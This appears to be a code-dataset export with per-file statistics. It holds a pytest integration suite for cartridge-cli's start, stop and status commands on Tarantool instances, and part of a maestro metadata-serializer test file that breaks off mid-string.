1
0.045528
false
0
0.009756
0
0.074797
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8f0c50daaac9b200b1148095e27b8896a315cff8
26,432
py
Python
test/integration/running/test_running.py
RunsFor/cartridge-cli
10ffc64450ca96452b0bd17a9000071382f34118
[ "BSD-2-Clause" ]
48
2019-08-29T10:05:01.000Z
2022-01-25T16:41:59.000Z
test/integration/running/test_running.py
RunsFor/cartridge-cli
10ffc64450ca96452b0bd17a9000071382f34118
[ "BSD-2-Clause" ]
306
2019-08-30T13:41:14.000Z
2022-03-25T09:45:03.000Z
test/integration/running/test_running.py
RunsFor/cartridge-cli
10ffc64450ca96452b0bd17a9000071382f34118
[ "BSD-2-Clause" ]
20
2019-08-29T14:30:21.000Z
2022-03-18T12:11:24.000Z
import os import re import shutil from platform import system import pytest from project import (patch_init_to_send_ready_after_timeout, patch_init_to_send_statuses) from utils import (STATUS_NOT_STARTED, STATUS_RUNNING, STATUS_STOPPED, check_instances_running, check_instances_stopped, write_conf) # ##### # Tests # ##### def test_start_interactive_by_name(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' # start instance-1 cli.start(project, [INSTANCE1]) check_instances_running(cli, project, [INSTANCE1]) def test_start_stop_by_name(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' # start instance-1 and instance-2 cli.start(project, [INSTANCE1, INSTANCE2], daemonized=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True) # stop instance-1 cli.stop(project, [INSTANCE1]) check_instances_running(cli, project, [INSTANCE2], daemonized=True) check_instances_stopped(cli, project, [INSTANCE1]) def test_start_interactive_by_name_with_stateboard(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' # start instance-1 and instance-2 cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], stateboard=True) def test_start_interactive_stateboard_only(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli # start with stateboard-only flag cli.start(project, stateboard_only=True) check_instances_running(cli, project, stateboard_only=True) def test_start_stop_by_name_with_stateboard(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' # start instance-1, instance-2 and stateboard cli.start(project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True) # stop instance-1 and stateboard cli.stop(project, [INSTANCE1], stateboard=True) check_instances_running(cli, project, [INSTANCE2], daemonized=True) check_instances_stopped(cli, project, [INSTANCE1], stateboard=True) def test_start_stop_stateboard_only(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli # start with stateboard-only flag cli.start(project, daemonized=True, stateboard_only=True) check_instances_running(cli, project, daemonized=True, stateboard_only=True) # stop stateboard cli.stop(project, stateboard_only=True) check_instances_stopped(cli, project, stateboard_only=True) def test_start_interactive_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cfg_path(), { project.get_instance_id(INSTANCE1): {}, project.get_instance_id(INSTANCE2): {}, }) # start instances cli.start(project) check_instances_running(cli, project, [INSTANCE1, INSTANCE2]) def test_start_stop_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cfg_path(), { project.get_instance_id(INSTANCE1): {}, project.get_instance_id(INSTANCE2): {}, }) # start instances cli.start(project, daemonized=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True) # stop instances cli.stop(project) check_instances_stopped(cli, project, [INSTANCE1, INSTANCE2]) def test_start_interactive_from_conf_with_stateboard(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cfg_path(), { project.get_instance_id(INSTANCE1): {}, project.get_instance_id(INSTANCE2): {}, }) # start instances cli.start(project, stateboard=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], stateboard=True) def test_start_interactive_from_conf_stateboard_only(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cfg_path(), { project.get_instance_id(INSTANCE1): {}, project.get_instance_id(INSTANCE2): {}, }) # start instances cli.start(project, stateboard_only=True) check_instances_running(cli, project, stateboard_only=True) def test_start_stop_from_conf_with_stateboard(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cfg_path(), { project.get_instance_id(INSTANCE1): {}, project.get_instance_id(INSTANCE2): {}, }) # start instances cli.start(project, daemonized=True, stateboard=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True) # stop instances cli.stop(project, stateboard=True) check_instances_stopped(cli, project, [INSTANCE1, INSTANCE2], stateboard=True) def test_start_stop_from_conf_stateboard_only(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cfg_path(), { project.get_instance_id(INSTANCE1): {}, project.get_instance_id(INSTANCE2): {}, }) # start instances cli.start(project, daemonized=True, stateboard_only=True) check_instances_running(cli, project, daemonized=True, stateboard_only=True) # stop instances cli.stop(project, stateboard=True) check_instances_stopped(cli, project, stateboard_only=True) def test_status_by_name(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' ID1 = project.get_instance_id(INSTANCE1) ID2 = project.get_instance_id(INSTANCE2) STATEBOARD_ID = project.get_stateboard_id() # get status w/o stateboard status = cli.get_status(project, [INSTANCE1, INSTANCE2]) assert len(status) == 2 assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED # get status w/ stateboard status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_NOT_STARTED # get status stateboard-only status = cli.get_status(project, stateboard_only=True) assert len(status) == 1 assert status.get(STATEBOARD_ID) == STATUS_NOT_STARTED # start instance-1 and stateboard cli.start(project, [INSTANCE1], stateboard=True, daemonized=True) check_instances_running(cli, project, [INSTANCE1], stateboard=True, daemonized=True) # get status w/o stateboard status = cli.get_status(project, [INSTANCE1, INSTANCE2]) assert len(status) == 2 assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_NOT_STARTED # get status w/ stateboard status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_RUNNING # get status stateboard-only status = cli.get_status(project, stateboard_only=True) assert len(status) == 1 assert status.get(STATEBOARD_ID) == STATUS_RUNNING # stop instance-1 cli.stop(project, [INSTANCE1]) # get status w/o stateboard status = cli.get_status(project, [INSTANCE1, INSTANCE2]) assert len(status) == 2 assert status.get(ID1) == STATUS_STOPPED assert status.get(ID2) == STATUS_NOT_STARTED # get status w/ stateboard status = cli.get_status(project, [INSTANCE1], stateboard=True) assert len(status) == 2 assert status.get(ID1) == STATUS_STOPPED assert status.get(STATEBOARD_ID) == STATUS_RUNNING # get status stateboard-only status = cli.get_status(project, stateboard_only=True) assert len(status) == 1 assert status.get(STATEBOARD_ID) == STATUS_RUNNING def test_status_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' ID1 = project.get_instance_id(INSTANCE1) ID2 = project.get_instance_id(INSTANCE2) STATEBOARD_ID = project.get_stateboard_id() write_conf(project.get_cfg_path(), { ID1: {}, ID2: {}, }) # get status w/o stateboard status = cli.get_status(project) assert len(status) == 2 assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED # get status w/ stateboard status = cli.get_status(project, stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_NOT_STARTED # get status stateboard-only status = cli.get_status(project, stateboard_only=True) assert len(status) == 1 assert status.get(STATEBOARD_ID) == STATUS_NOT_STARTED # start instance-1 and stateboard cli.start(project, [INSTANCE1], stateboard=True, daemonized=True) check_instances_running(cli, project, [INSTANCE1], stateboard=True, daemonized=True) # get status w/o stateboard status = cli.get_status(project) assert len(status) == 2 assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_NOT_STARTED # get status w/ stateboard status = cli.get_status(project, stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_RUNNING # get status stateboard-only status = cli.get_status(project, stateboard_only=True) assert len(status) == 1 assert status.get(STATEBOARD_ID) == STATUS_RUNNING # stop instance-1 cli.stop(project, [INSTANCE1]) # get status w/o stateboard status = cli.get_status(project) assert len(status) == 2 assert status.get(ID1) == STATUS_STOPPED assert status.get(ID2) == STATUS_NOT_STARTED # get status w/ stateboard status = cli.get_status(project, stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_STOPPED assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_RUNNING # get status stateboard-only status = cli.get_status(project, stateboard_only=True) assert len(status) == 1 assert status.get(STATEBOARD_ID) == STATUS_RUNNING def test_start_stop_status_cfg(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' ID1 = project.get_instance_id(INSTANCE1) ID2 = project.get_instance_id(INSTANCE2) CFG = 'my-conf.yml' write_conf(project.get_cfg_path(CFG), { ID1: {}, ID2: {}, }) status = cli.get_status(project, cfg=CFG) assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED cli.start(project, stateboard=True, daemonized=True, cfg=CFG) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], stateboard=True, cfg=CFG, daemonized=True, ) status = cli.get_status(project, cfg=CFG) assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_RUNNING cli.stop(project, stateboard=True, cfg=CFG) check_instances_stopped(cli, project, [INSTANCE1, INSTANCE2]) status = cli.get_status(project, cfg=CFG) assert status.get(ID1) == STATUS_STOPPED assert status.get(ID2) == STATUS_STOPPED def test_start_stop_custom_executable(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' RUN_DIR = 'my-run' # Below we are making a bash script named 'tarantool' that calls the real tarantool. # We also change $PATH variable so that the priority of calling our # fake tarantool script is always higher than the original tarantool. # As a result, our process is not called a 'tarantool'. real_tarantool_abs_path = shutil.which('tarantool') tarantool_substitution_script = f"#!/bin/bash\n{real_tarantool_abs_path} $1" with open('tarantool', 'w') as f: f.write(tarantool_substitution_script) os.chmod('tarantool', 0o755) modified_env = os.environ.copy() modified_env['PATH'] = os.getcwd() + ':' + modified_env['PATH'] try: logs = cli.start( project, [INSTANCE1], stateboard=True, daemonized=True, capture_output=True, run_dir=RUN_DIR, env=modified_env ) finally: os.remove('tarantool') # On Linux process have name 'tarantool' anyway, but for Darwin it's 'sh', # so we can check that warning displayed. if system() != 'Linux': assert any([line.endswith('does not seem to be tarantool') for line in logs]) check_instances_running(cli, project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR, daemonized=True) cli.stop(project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR) check_instances_stopped(cli, project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR) def test_start_stop_status_run_dir(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' ID1 = project.get_instance_id(INSTANCE1) ID2 = project.get_instance_id(INSTANCE2) STATEBOARD_ID = project.get_stateboard_id() RUN_DIR = 'my-run' status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True, run_dir=RUN_DIR) assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED cli.start(project, [INSTANCE1], stateboard=True, daemonized=True, run_dir=RUN_DIR) check_instances_running(cli, project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR, daemonized=True) status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True, run_dir=RUN_DIR) assert len(status) == 3 assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_RUNNING cli.stop(project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR) check_instances_stopped(cli, project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR) status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True, run_dir=RUN_DIR) assert len(status) == 3 assert status.get(ID1) == STATUS_STOPPED assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_STOPPED def test_start_stop_stateboard_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cli_cfg_path(), { 'stateboard': True, }) cli.start(project, [INSTANCE1], daemonized=True) check_instances_running(cli, project, [INSTANCE1], daemonized=True) cli.stop(project, [INSTANCE1], stateboard=True) check_instances_stopped(cli, project, [INSTANCE1], stateboard=True) write_conf(project.get_cli_cfg_path(), { 'stateboard': False, }) cli.start(project, [INSTANCE1, INSTANCE2], daemonized=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True) cli.stop(project, [INSTANCE1, INSTANCE2]) check_instances_stopped(cli, project, [INSTANCE1, INSTANCE2]) def test_start_stateboard_overwrite(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' write_conf(project.get_cli_cfg_path(), { 'stateboard': False, }) cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True, daemonized=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], stateboard=True, daemonized=True) def test_start_stop_status_run_dir_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' ID1 = project.get_instance_id(INSTANCE1) ID2 = project.get_instance_id(INSTANCE2) STATEBOARD_ID = project.get_stateboard_id() RUN_DIR = 'my-run' write_conf(project.get_cli_cfg_path(), { 'run-dir': RUN_DIR, }) status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True) assert status.get(ID1) == STATUS_NOT_STARTED assert status.get(ID2) == STATUS_NOT_STARTED cli.start(project, [INSTANCE1], stateboard=True, daemonized=True) check_instances_running(cli, project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR, daemonized=True) status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_RUNNING assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_RUNNING cli.stop(project, [INSTANCE1], stateboard=True) check_instances_stopped(cli, project, [INSTANCE1], stateboard=True, run_dir=RUN_DIR) status = cli.get_status(project, [INSTANCE1, INSTANCE2], stateboard=True) assert len(status) == 3 assert status.get(ID1) == STATUS_STOPPED assert status.get(ID2) == STATUS_NOT_STARTED assert status.get(STATEBOARD_ID) == STATUS_STOPPED def test_start_data_dir(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' DATA_DIR = 'my-data' cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True, data_dir=DATA_DIR) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], stateboard=True, data_dir=DATA_DIR ) def test_start_data_dir_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' DATA_DIR = 'my-data' write_conf(project.get_cli_cfg_path(), { 'data-dir': DATA_DIR, }) cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], stateboard=True, data_dir=DATA_DIR ) def test_start_script(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' shutil.copyfile(project.get_script(), os.path.join(project.path, 'my-init.lua')) cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], stateboard=True ) def test_start_script_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' SCRIPT = 'my-init.lua' shutil.copyfile(project.get_script(), os.path.join(project.path, SCRIPT)) write_conf(project.get_cli_cfg_path(), { 'script': SCRIPT, }) cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], stateboard=True ) def test_start_log_dir(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' LOG_DIR = 'my-log-dir' cli.start(project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True, log_dir=LOG_DIR) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True, log_dir=LOG_DIR ) def test_start_log_dir_from_conf(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' LOG_DIR = 'my-log-dir' write_conf(project.get_cli_cfg_path(), { 'log-dir': LOG_DIR, }) cli.start(project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True) check_instances_running( cli, project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True, log_dir=LOG_DIR ) def test_notify_status_failed(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli HORRIBLE_ERR = "SOME HORRIBLE ERROR" patch_init_to_send_statuses(project, ["Failed: %s" % HORRIBLE_ERR]) INSTANCE1 = 'instance-1' logs = cli.start(project, [INSTANCE1], daemonized=True, capture_output=True, exp_rc=1) assert any([HORRIBLE_ERR in msg for msg in logs]) logs = cli.start(project, stateboard_only=True, daemonized=True, capture_output=True, exp_rc=1) assert any([HORRIBLE_ERR in msg for msg in logs]) @pytest.mark.parametrize('status', ['running', 'loading', 'orphan', 'hot_standby']) def test_notify_status_allowed(start_stop_cli, project_without_dependencies, status): project = project_without_dependencies cli = start_stop_cli patch_init_to_send_statuses(project, [status]) INSTANCE1 = 'instance-1' cli.start(project, [INSTANCE1], daemonized=True, stateboard=True) check_instances_running(cli, project, [INSTANCE1], daemonized=True, stateboard=True) def test_project_with_non_existent_script(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli os.remove(project.get_script()) INSTANCE1 = 'instance-1' logs = cli.start(project, [INSTANCE1], daemonized=True, capture_output=True, exp_rc=1) assert any(["Can't use instance entrypoint" in msg for msg in logs]) def test_start_with_timeout(start_stop_cli, project_without_dependencies): project = project_without_dependencies cli = start_stop_cli TIMEOUT_SECONDS = 2 patch_init_to_send_ready_after_timeout(project, TIMEOUT_SECONDS) # patch_init_to_log_signals(project) INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' ID1 = project.get_instance_id(INSTANCE1) ID2 = project.get_instance_id(INSTANCE2) STATEBOARD_ID = project.get_stateboard_id() # start w/ timeout > TIMEOUT_SECONDS cli.terminate() cli.start( project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True, timeout="{}s".format(TIMEOUT_SECONDS+1) ) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True) # start w/ timeout < TIMEOUT_SECONDS cli.terminate() logs = cli.start( project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True, timeout="{}s".format(TIMEOUT_SECONDS-1), capture_output=True, exp_rc=1, ) check_instances_stopped(cli, project, [INSTANCE1, INSTANCE2], stateboard=True) for instance_id in [ID1, ID2, STATEBOARD_ID]: assert any([re.search(r"%s:.+Timeout was reached" % instance_id, msg) is not None for msg in logs]) # start w/ timeout 0s cli.terminate() logs = cli.start( project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True, timeout="{}s".format(0), capture_output=True, ) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], daemonized=True, stateboard=True) for instance_id in [ID1, ID2, STATEBOARD_ID]: assert all([re.search(r"%s:.+Timeout was reached" % instance_id, msg) is None for msg in logs]) def test_stop_signals(start_stop_cli, project_ignore_sigterm): project = project_ignore_sigterm cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'instance-2' # start instances cli.start(project, [INSTANCE1, INSTANCE2], stateboard=True, daemonized=True) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], stateboard=True, daemonized=True) # try to stop instaces using `cartridge stop` # since it sends SIGTERM and instances ignore this signal, # instances are still running cli.stop(project, [INSTANCE1, INSTANCE2], stateboard=True,) check_instances_running(cli, project, [INSTANCE1, INSTANCE2], stateboard=True, daemonized=True) # now, use `cartridge stop -d` # it sends SIGKILL that can't be ignored, # so instances are stopped cli.stop(project, [INSTANCE1, INSTANCE2], stateboard=True, force=True) check_instances_stopped(cli, project, [INSTANCE1, INSTANCE2], stateboard=True) def test_stateboard_as_argument(start_stop_cli, project_ignore_sigterm): project = project_ignore_sigterm cli = start_stop_cli INSTANCE1 = 'instance-1' INSTANCE2 = 'stateboard' logs = cli.start(project, [INSTANCE1, INSTANCE2], daemonized=True, capture_output=True, exp_rc=1) assert "Please, specify flag --stateboard for processing stateboard instance" in logs
33.04
107
0.720944
3,311
26,432
5.48958
0.059801
0.079225
0.042254
0.044894
0.906745
0.894146
0.863006
0.830711
0.820313
0.803862
0
0.018008
0.178534
26,432
799
108
33.081352
0.819095
0.064732
0
0.763359
0
0
0.041949
0.001542
0
0
0
0
0.164122
1
0.061069
false
0
0.013359
0
0.074427
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8f2661c9b317ef737fe4c3b7341bf0fc8ac07ee8
17,781
py
Python
tests/test_serializer.py
estudio89/maestro-python
331079cb3f0c10de2e19210cbade793544510f33
[ "BSD-3-Clause" ]
null
null
null
tests/test_serializer.py
estudio89/maestro-python
331079cb3f0c10de2e19210cbade793544510f33
[ "BSD-3-Clause" ]
null
null
null
tests/test_serializer.py
estudio89/maestro-python
331079cb3f0c10de2e19210cbade793544510f33
[ "BSD-3-Clause" ]
null
null
null
import unittest import unittest.mock from maestro.core.serializer import ( MetadataSerializer, RawDataStoreJSONSerializer, ) from maestro.core.metadata import ( VectorClockItem, VectorClock, ConflictLog, ConflictStatus, ConflictType, ItemChange, ItemVersion, Operation, SyncSession, SyncSessionStatus, SerializationResult, ) import datetime as dt import uuid class MetadataSerializerTest(unittest.TestCase): def setUp(self): self.item_change = ItemChange( id=uuid.UUID("14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7"), operation=Operation.INSERT, serialization_result=SerializationResult( item_id=uuid.UUID("69bdd54f-4048-43ca-8aa1-529cd790098e"), serialized_item="", entity_name="my_app_item", ), change_vector_clock_item=VectorClockItem( timestamp=dt.datetime( day=17, month=6, year=2021, hour=15, minute=44, tzinfo=dt.timezone.utc, ), provider_id="provider1", ), insert_vector_clock_item=VectorClockItem( timestamp=dt.datetime( day=17, month=6, year=2021, hour=15, minute=44, tzinfo=dt.timezone.utc, ), provider_id="provider1", ), should_ignore=False, is_applied=False, date_created=dt.datetime( day=17, month=6, year=2021, hour=15, minute=44, tzinfo=dt.timezone.utc, ), vector_clock=VectorClock( VectorClockItem( provider_id="provider1", timestamp=dt.datetime( day=17, month=6, year=2021, hour=15, minute=44, tzinfo=dt.timezone.utc, ), ), VectorClockItem( provider_id="provider2", timestamp=dt.datetime( day=15, month=6, year=2021, hour=15, minute=40, tzinfo=dt.timezone.utc, ), ), VectorClockItem( provider_id="provider3", timestamp=dt.datetime( day=14, month=6, year=2021, hour=15, minute=40, tzinfo=dt.timezone.utc, ), ), ), ) self.conflict_log = ConflictLog( id=uuid.UUID("019124a5-56b4-4d05-bcde-27751cd9c7c1"), created_at=dt.datetime( year=2021, month=6, day=26, hour=7, minute=11, tzinfo=dt.timezone.utc ), resolved_at=None, item_change_loser=self.item_change, item_change_winner=None, status=ConflictStatus.DEFERRED, conflict_type=ConflictType.EXCEPTION_OCCURRED, description="Error!", ) self.sync_session = SyncSession( id=uuid.UUID("d797c785-f16b-488c-adfe-79c26717ad59"), started_at=dt.datetime( year=2021, month=6, day=26, hour=7, minute=2, tzinfo=dt.timezone.utc ), ended_at=dt.datetime( year=2021, month=6, day=26, hour=7, minute=3, tzinfo=dt.timezone.utc ), status=SyncSessionStatus.FINISHED, source_provider_id="other_provider", target_provider_id="provider_in_test", item_changes=[self.item_change], ) self.item_version = ItemVersion( current_item_change=self.item_change, item_id="69bdd54f-4048-43ca-8aa1-529cd790098e", date_created=dt.datetime( year=2021, month=6, day=26, hour=7, minute=2, tzinfo=dt.timezone.utc ), ) self.serializer = MetadataSerializer() def test_serialize_item_change(self): result = self.serializer.serialize(metadata_object=self.item_change) self.assertEqual( result, { "id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7", "date_created": "2021-06-17T15:44:00+00:00", "operation": "Operation.INSERT", "serialization_result": { "item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e", "serialized_item": "", "entity_name": "my_app_item", }, "change_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "insert_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "should_ignore": False, "is_applied": False, "vector_clock": [ { "provider_id": "provider1", "timestamp": "2021-06-17T15:44:00+00:00", }, { "provider_id": "provider2", "timestamp": "2021-06-15T15:40:00+00:00", }, { "provider_id": "provider3", "timestamp": "2021-06-14T15:40:00+00:00", }, ], }, ) def test_serialize_conflict_log(self): result = self.serializer.serialize(metadata_object=self.conflict_log) self.assertEqual( result, { "id": "019124a5-56b4-4d05-bcde-27751cd9c7c1", "created_at": "2021-06-26T07:11:00+00:00", "resolved_at": None, "item_change_loser": { "id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7", "date_created": "2021-06-17T15:44:00+00:00", "operation": "Operation.INSERT", "serialization_result": { "item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e", "serialized_item": "", "entity_name": "my_app_item", }, "change_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "insert_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "should_ignore": False, "is_applied": False, "vector_clock": [ { "provider_id": "provider1", "timestamp": "2021-06-17T15:44:00+00:00", }, { "provider_id": "provider2", "timestamp": "2021-06-15T15:40:00+00:00", }, { "provider_id": "provider3", "timestamp": "2021-06-14T15:40:00+00:00", }, ], }, "item_change_winner": None, "status": "ConflictStatus.DEFERRED", "conflict_type": "ConflictType.EXCEPTION_OCCURRED", "description": "Error!", "query_ids": [] }, ) def test_serialize_sync_session(self): result = self.serializer.serialize(metadata_object=self.sync_session) self.assertEqual( result, { "id": "d797c785-f16b-488c-adfe-79c26717ad59", "started_at": "2021-06-26T07:02:00+00:00", "ended_at": "2021-06-26T07:03:00+00:00", "status": "SyncSessionStatus.FINISHED", "source_provider_id": "other_provider", "target_provider_id": "provider_in_test", "query_id": None, "item_changes": [ { "id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7", "date_created": "2021-06-17T15:44:00+00:00", "operation": "Operation.INSERT", "serialization_result": { "item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e", "serialized_item": "", "entity_name": "my_app_item", }, "change_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "insert_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "should_ignore": False, "is_applied": False, "vector_clock": [ { "provider_id": "provider1", "timestamp": "2021-06-17T15:44:00+00:00", }, { "provider_id": "provider2", "timestamp": "2021-06-15T15:40:00+00:00", }, { "provider_id": "provider3", "timestamp": "2021-06-14T15:40:00+00:00", }, ], } ], }, ) def test_serialize_item_version(self): result = self.serializer.serialize(metadata_object=self.item_version) self.assertEqual( result, { "current_item_change": { "id": "14717ffa-5f72-4d3d-91b4-2abf7ac0fdb7", "date_created": "2021-06-17T15:44:00+00:00", "operation": "Operation.INSERT", "serialization_result": { "item_id": "69bdd54f-4048-43ca-8aa1-529cd790098e", "serialized_item": "", "entity_name": "my_app_item", }, "change_vector_clock_item": { "timestamp": "2021-06-17T15:44:00+00:00", "provider_id": "provider1", }, "insert_vector_clock_item": { "timestamp": 